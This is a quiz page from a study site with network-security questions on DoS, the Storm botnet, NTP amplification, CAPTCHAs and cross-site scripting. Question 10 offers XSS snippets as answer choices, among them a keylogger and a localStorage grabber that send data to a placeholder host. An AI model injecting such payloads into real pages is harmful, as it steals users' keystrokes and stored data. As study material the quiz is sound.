GoConqr has a new look! Let us know what you think.

Quiz

NS Study Questions

Chris Butler 16 questions

Take the quiz

Questions in this quiz (16)

  1. 1Denial-of-Service attacks can happen at any layer of the OSI model.
    1. ATrue
    2. BFalse
  2. 2Which of the following statements about the Storm botnet is INCORRECT?
    1. AThe Storm botnet uses a central command-and-control server.
    2. BThe Storm botnet hierarchy consists of several levels.
    3. CThe Storm botnet uses email to propagate.
    4. DIn the Storm botnet, proxy bots can be accessed externally.
  3. 3The goal of network DoS is to take out a large site or network using as little computing power as possible.
    1. ATrue
    2. BFalse
  4. 4A Network Time Protocol (NTP) server runs on UDP port 123. An attacker can perform an amplification attack using NTP by repeatedly sending small UDP packets to the server.
    1. ATrue
    2. BFalse
  5. 5Which of the following statements is/are true about spam?
    1. ASpam is usually sent to a large number of recipients.
    2. BSpam is used to spread malware.
    3. CBotnets can be used to send spam
    4. DAll of the above
  6. 6Which of the following statements about CAPTCHAs are TRUE?

    I. CAPTCHA stands for "Completely Automated Public Turing test to tell Computers and Humans Apart."

    II. CAPTCHAs are designed to be difficult for machines to solve but easy for humans.

    III. CAPTCHAs can be used to mitigate denial of service attacks.

    IV. The purpose of CAPTCHAs is to prove that a human made the request.
    1. AI
    2. BII and III
    3. CII and IV
    4. DI, II, III, and IV
    5. EIV
  7. 7In 2015, GitHub was a victim of a distributed denial of service attack. The attackers injected malicious JavaScript code in GitHub's web pages.
    1. ATrue
    2. BFalse
  8. 8Which of the following statements about the Traffic Validation Architecture is correct?
    1. AThey do not require a difficult inference problem to be solved
    2. BAttacker's cannot spoof them.
    3. CThey are not foiled by end-to-end encryption
    4. DAll of the Above
  9. 9In the reading: "Securing Frame Communication in Browsers", the authors proposed including a new parameter in the postMessage browser API which can be used to specify the origin of the intended recipient. This new parameter would help in ensuring the confidentiality of the message.
    1. ATrue
    2. BFalse
  10. 10Which of the following code snippets is NOT a cross-site scripting attack?
    1. A<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
    2. B<script>window.location = "http://www.omscs.gatech.edu/";</script>
    3. C$('#w').contents().keypress(function(event) {$.get('http://www.somesite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});
    4. Dif ('localStorage' in window && window['localStorage'] !== null) { new Image().src = 'http://somesite.com/log.php?localStorage='+JSON.stringify(window['localStorage']); }

Information

Description
Quiz on NS Study Questions, created by Chris Butler on 21/01/2022.
Language
English
Views
0
Rating
No ratings yet
Rate this quiz
Rate this quiz

Feedback

What is it about?

What do you think of the new look?

How do you like it?